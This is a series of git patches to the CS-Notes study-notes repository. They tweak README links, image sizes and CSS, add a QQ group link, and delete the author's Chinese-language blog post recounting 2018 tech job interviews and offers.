From a9b8b29a42116454bae3fd4d3f1e90714e949de6 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Fri, 18 Jan 2019 19:30:44 +0800
Subject: [PATCH 001/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 80421657..aee71123 100644
--- a/README.md
+++ b/README.md
@@ -14,7 +14,7 @@
 
 <br>
 
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶已上线](https://xiaozhuanlan.com/CyC2018)
 
 <div align="center">
     <img src="other/LogoMakr_0zpEzN.png" width="190px">

From 4107e09fecc4e6b1029018bb2a2b6ed85aeb9038 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Fri, 18 Jan 2019 23:12:16 +0800
Subject: [PATCH 002/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index aee71123..80421657 100644
--- a/README.md
+++ b/README.md
@@ -14,7 +14,7 @@
 
 <br>
 
-[🎉 面试进阶已上线](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
 
 <div align="center">
     <img src="other/LogoMakr_0zpEzN.png" width="190px">

From 8a593862f087f9978537aa5b9d4d02005f3a939b Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 19 Jan 2019 13:12:08 +0800
Subject: [PATCH 003/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 80421657..beeea25d 100644
--- a/README.md
+++ b/README.md
@@ -14,7 +14,7 @@
 
 <br>
 
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
 
 <div align="center">
     <img src="other/LogoMakr_0zpEzN.png" width="190px">

From 0c1ba14cb22f80d267e1ac332ad78e1d84d2e783 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 19 Jan 2019 13:12:24 +0800
Subject: [PATCH 004/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index beeea25d..54032bbe 100644
--- a/README.md
+++ b/README.md
@@ -14,7 +14,7 @@
 
 <br>
 
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 
 <div align="center">
     <img src="other/LogoMakr_0zpEzN.png" width="190px">

From a3cdc40ad34f4213019a1370d6de9bb7d87a79f3 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 19 Jan 2019 13:12:40 +0800
Subject: [PATCH 005/100] Update README.md

---
 docs/README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docs/README.md b/docs/README.md
index c8e161bd..c4e098ab 100644
--- a/docs/README.md
+++ b/docs/README.md
@@ -1,5 +1,5 @@
 
-[🎉 面试进阶专栏已上线](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 
 ##  ✏️ 算法
 

From 9216e4b87dc8a34a4a3bb0fa32ac487e00e31f7d Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 19 Jan 2019 13:16:37 +0800
Subject: [PATCH 006/100] Update style.css

---
 docs/_style/style.css | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/docs/_style/style.css b/docs/_style/style.css
index cb9403b2..92cb8907 100644
--- a/docs/_style/style.css
+++ b/docs/_style/style.css
@@ -3,6 +3,10 @@
     display: none;
 }
 
+#main > ul:nth-child(2) {
+    display: none;
+}
+
 .markdown-section h1 {
     margin: 3rem 0 2rem 0;
 }
@@ -36,4 +40,4 @@ body {
 
 /*.anchor span {
     color: rgb(66, 185, 131);
-}*/
\ No newline at end of file
+}*/

From bd8d4b904aab571cd168388df36818a68e965227 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 19 Jan 2019 13:20:23 +0800
Subject: [PATCH 007/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 54032bbe..6bbe7464 100644
--- a/README.md
+++ b/README.md
@@ -17,7 +17,7 @@
 [🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 
 <div align="center">
-    <img src="other/LogoMakr_0zpEzN.png" width="190px">
+    <img src="other/LogoMakr_0zpEzN.png" width="180px">
     <br>
     <a href="https://cyc2018.github.io/CS-Notes"> <img src="https://img.shields.io/badge/>-read-4ab8a1.svg"></a>  <a href="https://xiaozhuanlan.com/CyC2018"> <img src="https://img.shields.io/badge/_-more-4ab8a1.svg"></a> 
 </div> 

From 6a374a9ac125d696ad26dbdb8eb715401334d5ab Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 19 Jan 2019 13:38:04 +0800
Subject: [PATCH 008/100] Update README.md

---
 README.md | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 6bbe7464..3bc0ecfd 100644
--- a/README.md
+++ b/README.md
@@ -12,10 +12,11 @@
 | &emsp;&emsp;&emsp;Java&emsp;&emsp;&emsp;<br>[:coffee:](#coffee-java) | &emsp;&emsp;&emsp;系统设计&emsp;&emsp;&emsp;<br>[:bulb:](#bulb-系统设计) | &emsp;&emsp;&emsp;&emsp;工具&emsp;&emsp;&emsp;&emsp;<br>[:hammer:](#hammer-工具) | &emsp;&emsp;&emsp;编码实践&emsp;&emsp;&emsp;<br>[:speak_no_evil:](#speak_no_evil-编码实践) | &emsp;&emsp;&emsp;后记 &emsp;&emsp;&emsp;<br>[:memo:](#memo-后记) |
 -->
 
-<br>
 
 [🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 
+<br>
+
 <div align="center">
     <img src="other/LogoMakr_0zpEzN.png" width="180px">
     <br>

From 0b50ae2bdec60cc129ff5c2e330428153859299b Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sat, 19 Jan 2019 13:45:47 +0800
Subject: [PATCH 009/100] =?UTF-8?q?Delete=202018=20=E8=BF=99=E4=B8=80?=
 =?UTF-8?q?=E5=B9=B4.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 other/2018 这一年.md | 139 -------------------------------------------
 1 file changed, 139 deletions(-)
 delete mode 100644 other/2018 这一年.md

diff --git a/other/2018 这一年.md b/other/2018 这一年.md
deleted file mode 100644
index dbaa2310..00000000
--- a/other/2018 这一年.md	
+++ /dev/null
@@ -1,139 +0,0 @@
-作者：CyC2018 
-
-链接：https://www.nowcoder.com/discuss/137593
-
-来源：牛客网
-
-## 前言
-
-2018，有过迷茫，有过努力，也有很多收获。为了记录这一年以来的感受，于是有了这篇文章。
-
-## Offer 情况
-
-经过了长达一年左右的复习，秋招也收到了几个比较满意的 Offer，参加面试的都通过了。
-
-- 百度，企业智能平台； 
-- 阿里，高德地图，部门已联系，目前还在申报 Offer 中； 
-- 腾讯，IEG 游戏平台，后台研发，SP； 
-- 字节跳动，头条后台研发，SSP； 
-- 华为，Cloud Bu； 
-- 网易游戏，梦幻事业部； 
-- 顺丰科技。 
-
-## 前期准备
-
-也是在去年十一月份左右，看着身边两年制的同学经历了长时间而又艰难的秋招，我开始意识到自己应该提前准备了，否则自己的秋招会很惨。
-
-本科的时候，虽然学过计算机网络、操作系统和数据结构等课程，而且 Leetcode 也刷了一两百题，但是离招聘要求还差的很远，学的都很浅只够应付考试，也没有实际的项目经验。
-
-我的研究生方向是计算机图形学，研究生期间主要做一些科研项目。在选择招聘方向的时候，我也纠结了是不是找图形学相关方向的，但是考虑到图形学的选择不是很多，所以还是决定投后台研发相关的岗位。
-
-于是开始收集各种学习资料，也买了很多纸质书。最开始的学习效率并不是很高，很迷茫，觉得要学的内容很多无从下手。那时候看别人的面经，感觉自己太弱了，很多内容都没接触过，于是更加迷茫。迷茫的时候总想着逃避，要是不复习多好，玩玩游戏每天多简单。但是游戏玩的越多，那种焦虑感越是强烈。解决焦虑的唯一办法就是想办法解决当前问题。当慢慢地从消极的学习态度中调整过来，掌握的知识越多，那种焦虑感也随之消失。当然这个过程并不容易，不仅需要很好的毅力，也要根据自身情况找到问题的有效解决方法。
-
-## 春招开始
-
-三月份各个公司就开始春招了，那时候刚把一些基础知识简单地复习了一下，Leetcode 刷到了三四百题。但是没有后台研发相关的项目，于是花了一个星期左右用 PHP 做了一个微博系统。当时做简历特别痛苦，没内容可以写，看着其他人简历各种新技术，自己都没掌握，所以很虚。
-
-## 阿里一轮游
-
-最开始投的阿里，实验室大几届有个师兄在天猫精灵团队，所以给我内推了。于是我人生中第一场面试就是阿里，很自然地被虐了一遍。记得当时约好下午两点电话面试，午饭都没吃，怕吃完之后犯困影响状态，然后找了一个很安静又没人的地方呆到了两点，调整自己的状态。可是面试官突然打电话来说有个会议要开，所以推迟了大概一个小时。苦苦等到三点左右，面试正式开始，不出所料面得非常糟糕。首先自己表述的很有问题，很多内容没回答到关键点上，自己会的内容也不怎么继续扩展回答。其次知识掌握得确实不够，连线程安全、ThreadLocal、函数式编程都不会。虽然被虐的很惨，但是也有好处，知道了面试到底是怎样的，自己还有哪方面的不足，该怎么准备。
-
-## 腾讯被鞭尸
-
-第二场面试是腾讯，在经历了阿里的面试之后，并且又继续复习了一段时间，我对面试就比较有信心了。一面其实回答的挺理想的，虽然很多问题没有立马回答出来，但是经过面试官的耐心提示之后都能回答一些内容。当时面了一个半小时，面试体验特别好。印象比较深刻的题目有，阅读一个 Redis 源码，分析存在哪些问题。其实就是一个计数器实现的限流算法，会有临界值的问题，但是当时没回答出来，只能听面试官给我解释。还有一个微信扫二维码，这个过程发生了什么，也没回答得很好，不过面试官也很耐心地纠正我回答上的错误。一面顺利通过了，但是总监面挂了。总监面没有问什么技术问题，就是问了问项目和职业规划。自己的项目确实比较 Low，我自己在介绍的时候也说得很不堪。职业规划我说自己希望在一些方面深入学习，因为自己现在在这些方面还很薄弱... 面完之后我就知道挂了，因为整个面试过程我都特别虚，还主动说自己技术能力不行。不出所料，面完的当天晚上，状态变成了不合适。
-
-但是过了几天，突然收到腾讯的电话，问我是否愿意去深圳参加面试（笔者学校在广州）。当然我毫不犹豫地答应了，很开心腾讯还能给我机会。经过了上一场面试的启示，这次面试我表现地非常自信，自己知道的知识都很有信心地表达出来，被问到不会的内容也不会那么慌张，和面试官探讨一些细节，然后说说自己的想法，还有自己看过相关的内容。由于这是腾讯云部门，对 Linux 内核和 C++ 有很高的要求，问了几个相关的问题我都没回答出来，比如如何实现守护进程，Linux 信号机制，Linux 线程的不可中断阻塞状态如何进入等等。除了这些问题，其它地回答的都还行。遗憾的是，当天晚上面试官打电话告知我面试没通过。但是他说我其它方面都很不错，所以问我愿不愿意参加腾讯云 Java 部门的招聘，于是第二天我又去了一个新的部门面试。
-
-这次面试是在部门的会议室进行的，进到公司之后说实话没有自己想象中那么好，工位很挤环境一般。一开始就先随便聊聊，学校的研究工作，学习之类的。然后看了看项目，看完之后我就知道凉了一半，这个项目确实太水了，面试官看了之后没有接着问，也能感受到面试官有点嫌弃。然后他就问了一些基础知识，问到进程调度算法，面试官让我实现一个任务调度系统。因为是第一次手写代码，而且之前确实没考虑过这个问题，然后就胡乱写了一堆代码，特别乱，而且到处涂改。显然面试官是不满意的，写了也有十几分钟之后，我自己都知道已经凉了，然后面试官没让我接着写，也没给我任何提示，说就到这里，面试结束了，还有没有什么问题想问的。当然看过任务调度系统相关的文章会觉得挺容易的，比如使用时间轮实现等等。我依然记得面试官送我出门时候的热情，送我坐电梯的时候还很热情地和我说，非常感谢参加本次面试，辛苦了。
-
-## 虎牙过于自信
-
-经过了阿里和腾讯的面试之后，我觉得自己大概已经知道该怎么面试了，面试时候该注意什么，该怎么表达等等。而且腾讯面试表现也不差，虽然最后没通过。所以在虎牙面试的时候特别放松，觉得应该能通过。前面面的也都还行，虽然有几个问题没回答好，比如分析一下微博的时间线。通过了第一轮面试直接等第二轮，等到了晚上七点多才等到我。虎牙面试还是很注重技术的，虽然问的都不是很深入，只要简单回答到点上就不会接着问下去。二面也有一些问题没回答好，比如 ConcurrentHashMap 的并发机制，问 Spring 直接说不会。也有一些问题回答得比较乱，没有条理。但是我觉得大部分问题都回答的不错，应该能通过。可是面试完之后，面试官问有没有什么问题要问他，由于太过放松，我就问你们都加班到这么晚不吃饭吗，好饿啊，周六周日还加班吗... 问完之后面试官就很严肃了，说平常不加班的，我突然意识到了问题的严重性... 最后还是凉了。
-
-## 百度第一个 Offer
-
-被三家连续拒了之后，都开始怀疑自己了，不过还是提醒自己要保持信心。
-
-幸运的是，百度的面试非常适合我，三轮都是技术面，而且手写算法题目居多，而我准备最多的是算法，所以很顺利通过了面试。但是面试表现并没有特别好，过了比较长的时间才被捞，而且是工程效率部门，做内部工具的，对个人成长并不好，所以不是特别满意。
-
-## 网易游戏最好的面试体验
-
-其实最开始没有打算投网易游戏的，因为被脉脉洗脑，已经放弃了做游戏。但是因为前面面试基本被拒了，担心没有实习 Offer，因此就试试看。
-
-因为没有特别想去网易游戏，所以面试过程也比较放松，就当去聊聊天。面试官非常 nice，那天下午挤了很久地铁，比较口渴，然后面试官看我说得沙哑了，到门口帮我买了一瓶可乐，非常感激。面试之前我就提出我对 C++ 不熟悉，最近主要看 Java 的内容。面试官还是说没关系，尽量回答就好。当然最后我都把问题往 Java 那里回答了，比如 Map 的实现，内存管理等等。最后聊了一些玩过的游戏，就让我回去等消息。网易游戏就一轮面试，确实就一轮。周五参加的面试，下周一就给 Offer 了，效率特别高。
-
-## 微众玄学面试
-
-通过微众面试我自己都非常吃惊，一面的时候就简单自我介绍了一下，然后面试官开始介绍他自己的工作经历，以及现在部门在做的内容。之后问了我一个场景分析问题，我想了一会儿没想出来，于是面试官拿起草稿纸把各种需求详细说了一遍，然后把系统架构图也画了出来... 最后他问还有什么我优势的地方他没问到的，我问他怎么不问问算法题，他说笔试都通过了没必要再问。面完之后我觉得聊得很开心，但是技术问题没回答好，出乎意料收到了二面通知。二面没问技术，就让介绍了项目，再问问家住哪之类的问题，也顺利通过了。HR 面就不用介绍。收到了微众的 Offer，得知了部门是贷款科技部，非常核心，很吃香，近几年也在扩展一些业务，还是有点小心动的。虽然最后没选择去微众实习，但是一面面试官加了我微信，我很感谢他一面非常耐心给我讲解，并让我通过。他说我是他面试的第一顺位，也就是第一个面试者，所以会放宽很多，也希望我秋招能加入他们。
-
-## 实习选择
-
-其实最理想的是去百度实习，秋招也会容易很多。但是考虑到百度是在北京，部门很边缘，而且需要实习很长时间也不一定能转正，所以还是放弃了。最后只能在网易游戏和微众选，虽然自己不想做游戏，但是考虑到网易游戏的平台认可程度比微众好，秋招肯定会更容易一些。而且秋招如果还想进微众的话也会比较容易，因为面试官和 HR 都说秋招的时候会优先考虑我，所以最后还是去了网易游戏实习。
-
-## 实习之前的快速学习期
-
-经历了春招之后，认识到了自己身上的不足，比如交流表达能力的欠缺，知识积累得不够，项目深度不够。因此在实习之前的两三个月，开始针对这些问题逐个解决。
-
-- 交流表达能力欠缺，就提前准备好各种非技术问题，然后对着镜子回答，把自己当成听众，并且也用录音机录下来。 
-- 知识积累不够，采取的策略是保证广度优先，并且在重要的内容上保证深度。其实之前基础知识已经掌握的比较好了，再学其它技术的时候都有很多相同的地方，所以学起来很快。 
-- 项目深度不够，就把那个微博系统做了一点改进，学了 Spring 之后改用 Java 实现。 
-
-## 不那么安心的实习
-
-去实习的时候还是挺惊喜的，因为我被安排的工作是游戏引擎相关的，和自己的研究生方向紧密相关，我觉得做完实习项目之后自己的毕业论文也会比较有灵感。
-
-但不幸的是，在去的第一天部门接待聚餐上，服务端主程就说，我们部门工作制是九九六，现在互联网都是九九六。在实习之前我了解的是实习生六点就可以走，而且只用上五天班，听到他这么一说心都凉透了，因为已经想好了晚上和周末时间用来复习。如果知道是九九六，我会选择去百度。
-
-其实网易游戏部门氛围还是不错的，对员工很好，而且我的实习导师人也很好，在我生病的那几天很关心我。但是九九六的工作制对秋招复习还是有很大影响的，而且每天上下班花在路上的时间超过了两个小时，下班回寝室之后总想着看会儿视频休息一下，然后又要早早睡觉赶着第二天上班。没办法只能在上下班地铁上复习，还有就是午休时间接着复习。
-
-## 秋招开始
-
-实习之后已经是九月份了，那时候已经错过了所有提前批。而且实习的时候没怎么复习，九月初还是感觉没怎么准备充分，所以就又等了半个月才开始投简历。
-
-但是这个时候和春招相比，已经把大部分后台研发相关的知识点过了一遍，很多重要的内容前前后后也看了十几遍，没有春招时候那么迷茫和焦虑。即使被问到没有掌握的知识，我也有把握通过讨论的方式，给出大概的思路，因为很多技术确实是相通的。
-
-## 阿里看不懂的内部流程
-
-秋招第一个投递的依然是阿里，最开始系统自动发起了一个新的流程，然后过了几天自动回绝了... 八月末的时候也找人内推了，但是又被阿里直接回绝了... 那时候已经觉得可能是春招面试表现太差，此生无缘阿里了。可是过了一段时间，正式校招的时候，阿里又发起了一个新的流程戏弄我，收到笔试通知的时候，我还犹豫了到底参不参加，因为那时候已经九月中旬，听说阿里已经没有 HC 了。而且按前面回绝我的态度，感觉即使笔试通过面试也通过不了。笔试那天晚上，本来准备看个电影放松一下，后来想了想还是参加了笔试，笔试各种机器学习和数学题，感觉拿错了试卷，笔试完我已经把阿里从我的公司进度列表中删除了，不再纠结阿里。可是过了一段时间收到阿里的面试通知，我以为是走走形式，可能参加笔试的人很少了，所以才选中我参加面试。那时候阿里招聘官网状态一排的已回绝，让我对阿里有一种恐惧感，觉得面试肯定挂。但是真正面试的时候却意外的顺利，收到二面通知的时候特别激动，然后面完二面又让直接等 HR 面，HR 面虽然不是很理想，但是没有很大的问题。又过了很长一段时间，在我去深圳参加腾讯招聘的高铁上，收到了高德地图 HR 的电话，问是否愿意去。虽然得知部门在北京有点小失落，但是还是很开心终于被阿里认可了，摆脱了对阿里的恐惧。
-
-实验室上届毕业在阿里云的大佬某天突然和我说，他们部门有新的 HC，让我把简历发给他，他要帮我内推，会帮我安排一场线下面试，如果通过的话，到时候和高德的 HR 沟通一下，直接把我从高德捞过来。很感谢大佬向他老大极力推荐我，给我了这次面试机会。线下面试也很顺利，聊聊实习项目，问问我的开源博客，然后问些 Paxos 等分布式的问题，还有就是手写代码，信号量实现生产者消费者，以及一个位运算的问题。其实位运算的问题面试的时候写的不完善，面试官让我之后完善了再发给他，因为面试一个多小时有点长了。过后我写了详细文档讲解了思路，以及使用 JUnit 进行了详细的单元测试，把文档和代码都发给了他。现在面试已经通过了，但是最近阿里集团 HC 比较紧张，也不知道能不能批到 HC。
-
-## 百度又是不那么满意的部门
-
-虽然阿里是最先开始流程，但是第一个参加面试的是百度。因为实习的时候通过了百度的面试，所以这次面试还是比较有信心的。百度面试连续三天，都在同一个地方，最后签约也在同一个地方。还记得每次都坐一个小时左右的地铁去那里，路线已经非常熟悉了，和每天去实习的感觉类似。百度面试比较注重技术，三轮面试基本都是问技术问题，而且问的也比较深入，内容也非常广。但是面的不是那么理想，有两点原因，首先是因为确实有些知识点还没掌握好，比如 AC 自动机，系统故障分析等等；其次是对实习项目的描述上还不够好，没有把实习内容的闪光点描述出来，也没有讲清楚为什么做这个项目，自己通过什么方法去做，以及最后的结果。
-
-最后百度给了白菜价，部门是企业智能平台，主要是内部系统，虽然会接触到机器学习和大数据。
-
-## 腾讯虐我千百遍
-
-秋招腾讯第一场面试和实习参加腾讯面试的感觉非常像，第一轮技术面感觉很好，手写堆排序算法，二部图分析等等。面完之后通知待会儿二面，听到之后还是很激动的，觉得这次应该没问题了。我在等二面的时候，碰到了室友（他经常不住宿舍，所以不清楚他也去面试），聊着聊着居然发现我两是同一个面试官，而且他是来二面的，也就是等一下我两就要一前一后进去面试。二面的感觉和实习二面非常像，非技术问题回答的支支吾吾，然后面试官开始质疑我说的内容，给我压力，我没有当场反驳，就说了哦，好像是这样的。因为面试官全程都绷着脸，所以我也比较紧张，很多问题没回答好。过了几天，室友和我说收到 HR 面试通知了，我去官网看了一下状态，已经变成了熟悉的不合适。这次面试失败的主要原因是自己在应对这种压力时处理地不是很好，主要体现在失去信心以及紧张。解决方法也简单，做好充分准备来保持信心，受到质疑的时候积极反驳，紧张的时候及时调整心态，可以试试深呼吸或者喝水。
-
-因为实习有被捞起来的经历，所以被拒之后我特别希望能继续被捞起来，然后把简历上的面试城市改成了深圳。苦苦等到深圳场面试的前几天，在不经意的一个下午手机突然响了，我记得是短信邮件同时收到面试通知。于是又开始了新一轮被腾讯虐的面试之旅。
-
-一面和之前一样也是意外地顺利，虽然问了一些 C++ 的问题，但是我都说到 Java 相关的实现上。在一些问题上确实回答的深度不够，比如网络编程里面的水平触发和边缘触发等问题。然后问了几个算法，本来要求手写，我说我实现过，所以就讲了讲思路。面试和腾讯第一场面试一样持续了一个半小时，面试官也很好，很多问题都会给提示，即使最开始回答的有问题。二面面试官也很好，问了问实习项目，然后再聊一聊一些技术，经过了之前的面试，到这次面试真的就像在聊天一样而不是面试，我们都会说一些对技术上的理解。HR 面其实面得很差，对于非技术问题的吹水能力我还是不太行。最终和我预期的一样，给了我 SP 的 Offer，因为觉得自己面得还可以，但是也不够好到给 SSP，有些 C++ 问题还是没回答的特别好。
-
-## 头条意外的惊喜
-
-之前看到学弟收到头条的 Offer，薪资非常诱人，所以也想去试试。也听说头条面试难度非常大，主要考察手写算法，因为自己算法方面准备得比较充分，所以觉得会比较顺利，但是也没有特别高的预期。前两面中规中矩，算法题和其它问题我都回答的比较好，到三面的时候，问了一个错排问题，其实最开始我给了正确的递推公式，但不是面试官想要的答案，所以让我再想想。我想了十几分钟还是觉得没问题，那时候觉得自己已经凉了，因为面试官一直不满意。后面的几个问题也没回答的很好，分析一个 SQL 语句的具体执行过程，比如会怎么利用索引，怎么优化之类的，虽然在他的提示下还是回答了，但是感觉并不好。面完之后我立马查了一下那个错排问题，证实了我的答案是正确的，于是写了一个详细的文档，联系 HR 让她发给面试官。出乎意料的是，HR 让我不用担心，他说面试官对我的评价很好... 不过最后还是让她把文档发给了面试官。之后收到了加面通知，头条加面有两种情况，一是三轮评级都是 4 可以评 SSP，二是面试官评价差别很大，再面一轮决定是否录用。收到加面的时候完全不知道自己属于哪一种，感觉两种情况都有可能。加面回答的也不好，主要是问项目，面了 25 分钟就草草结束，最后面试官说有些内容需要找一些文献参考参考。面完之后我觉得，即使我属于第一种要评 SSP 的情况，加面面的那么差应该也没希望了。苦苦等了好多天之后，最后确定是 SSP 之后，还是很惊喜的，感觉是对自己这么长时间复习的一个认可。
-
-## 顺丰最后的保底
-
-投顺丰是因为九月中旬很多公司都结束了招聘，所以那时候比较慌，就投了顺丰当做保底，顺便也练练手。最开始还担心顺丰笔试没通过，因为编程题最后一题没做出来，那题的题目都出错了，而且题目是网上直接 copy 过来的，网上的源码都不能通过，更别说我自己的实现了。顺丰面试主要问了数据库的内容，而且问的特别深，几乎把每种日志的实现和作用都问了一遍。面顺丰的时候也比较早，那时候有些问题的回答上没有组织好，回答得比较凌乱，虽然最后也算给了一个小 SP。
-
-## 华为特别纠结的部门
-
-去华为面试确实是没有压力的，因为都知道华为面试不怎么问技术，虽然还是问了我一些技术问题，不过不是问的很深。面试主要介绍项目，我对自己的实习项目还是比较有信心的，因为觉得做的确实不错，而且面了很多场了，知道该怎么介绍项目。面试官问我个人意愿，我说自己对分布式中间件等比较感兴趣，于是面试官把我推荐到了 Cloud Bu。本来没打算签华为的，现场签约也就去看看到底给我开多少。最开始其实给我开了十四级最高的薪资，我本来不是很想去，虽然对这个部门感兴趣，但是薪资确实比不上头条。然后随口问了一句可不可以给十五级，本来 HR 说是可以试着申请一下，不过最后没申请成功。
-
-## 技术博客
-
-最后安利一下自己的技术博客：[CS-Notes](https://github.com/CyC2018/CS-Notes)，虽然现在还有很多不完善的地方，但以后会不断改进。
-
-## 小结
-
-很多人都说，面试和考试一样，要背很多没用的东西。最开始我也认同这种看法，可是参加了几场面试之后，我就不这么认为了。因为面试出的问题，有很多是实际开发中碰到的，所以准备面试相当于提前做入职准备。而且面试中考察的思维能力、交流表达能力、应对压力能力，都是真正工作中所需要的。
-
-我觉得自己比别人做的好的地方是，有很强烈的想找到好工作的意愿，才驱使我不断学习，所以态度很重要。
-
-信心源自于充分准备，有了信心，面试的时候才能游刃有余。而毫无依据的自我感觉良好，在每次失败之后都看不到自身的不足，而是怪罪于外界因素。
-
-做好自己的简历，我在简历上花了很长时间，只要允许，我都会用这个简历给面试官演示：[个人简历](https://cyc2018.github.io)。

From 348f6335ebe2cf651871fbe09c1fcefcc7e3a043 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 20 Jan 2019 09:58:10 +0800
Subject: [PATCH 010/100] =?UTF-8?q?Update=20=E7=9B=B8=E5=85=B3=E5=86=85?=
 =?UTF-8?q?=E5=AE=B9.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 相关内容.md | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/相关内容.md b/相关内容.md
index f5513fcb..986f6bfe 100644
--- a/相关内容.md
+++ b/相关内容.md
@@ -1,8 +1,10 @@
-# 交流群
+# QQ 群
 
 为大家提供一个学习交流平台，在这里你可以自由地和笔者以及其他人进行技术上的交流。
 
-[💬](other/Group.md)
+<img src="https://github.com/CyC2018/CS-Notes/raw/master/other/group1.png" width="300px"></br>
+<a target="_blank" href="//shang.qq.com/wpa/qunwpa?idkey=93df4b54d965e6c649fe49fe109b2d656609aacc5ec49b4ef4071ae6db1d43c0">QQ 群</a>
+
 
 # 知识星球
 

From b403735305cd570ff7d3cf3ff1dc7a3c6796b427 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 20 Jan 2019 09:58:39 +0800
Subject: [PATCH 011/100] Update README.md

---
 README.md | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 3bc0ecfd..208fa4d7 100644
--- a/README.md
+++ b/README.md
@@ -102,7 +102,9 @@
 
 为大家提供一个学习交流平台，在这里你可以自由地和笔者以及其他人进行技术上的交流。
 
-[💬](other/Group.md)
+<img src="https://github.com/CyC2018/CS-Notes/raw/master/other/group1.png" width="300px"></br>
+<a target="_blank" href="//shang.qq.com/wpa/qunwpa?idkey=93df4b54d965e6c649fe49fe109b2d656609aacc5ec49b4ef4071ae6db1d43c0">QQ 群</a>
+
 
 #### 知识星球
 

From c66fbc3d6b8111d0c2bf72ebd3ca7d6b8907737d Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 20 Jan 2019 09:59:13 +0800
Subject: [PATCH 012/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 208fa4d7..662c69db 100644
--- a/README.md
+++ b/README.md
@@ -102,7 +102,7 @@
 
 为大家提供一个学习交流平台，在这里你可以自由地和笔者以及其他人进行技术上的交流。
 
-<img src="https://github.com/CyC2018/CS-Notes/raw/master/other/group1.png" width="300px"></br>
+<img src="https://github.com/CyC2018/CS-Notes/raw/master/other/group1.png" width="250px"></br>
 <a target="_blank" href="//shang.qq.com/wpa/qunwpa?idkey=93df4b54d965e6c649fe49fe109b2d656609aacc5ec49b4ef4071ae6db1d43c0">QQ 群</a>
 
 

From c505677026eee51833f59b0b64aad6485efa77c0 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 20 Jan 2019 09:59:33 +0800
Subject: [PATCH 013/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 662c69db..ecf5c5c4 100644
--- a/README.md
+++ b/README.md
@@ -102,7 +102,7 @@
 
 为大家提供一个学习交流平台，在这里你可以自由地和笔者以及其他人进行技术上的交流。
 
-<img src="https://github.com/CyC2018/CS-Notes/raw/master/other/group1.png" width="250px"></br>
+<img src="https://github.com/CyC2018/CS-Notes/raw/master/other/group1.png" width="200px"></br>
 <a target="_blank" href="//shang.qq.com/wpa/qunwpa?idkey=93df4b54d965e6c649fe49fe109b2d656609aacc5ec49b4ef4071ae6db1d43c0">QQ 群</a>
 
 

From 79c29f849437b2d7cbdbd13d5b7171ce9822ce0d Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 20 Jan 2019 10:16:06 +0800
Subject: [PATCH 014/100] Update README.md

---
 README.md | 17 -----------------
 1 file changed, 17 deletions(-)

diff --git a/README.md b/README.md
index ecf5c5c4..8a2890cd 100644
--- a/README.md
+++ b/README.md
@@ -92,12 +92,6 @@
 
 学习笔记不是从网上到处拼凑而来，除了少部分引用书上和技术文档的原文，其余都是笔者的原创。在您引用本仓库内容或者对内容进行修改演绎时，请遵循文末的开源协议，谢谢。
 
-#### 如何贡献
-
-笔记内容是笔者一个字一个字打上去的，难免会有一些笔误，如果发现笔误可直接对相应文档进行编辑修改。
-
-如果想要提交一个仓库现在还没有的全新内容，可以先将相应的文档放到 other 目录下。
-
 #### 交流群
 
 为大家提供一个学习交流平台，在这里你可以自由地和笔者以及其他人进行技术上的交流。
@@ -105,7 +99,6 @@
 <img src="https://github.com/CyC2018/CS-Notes/raw/master/other/group1.png" width="200px"></br>
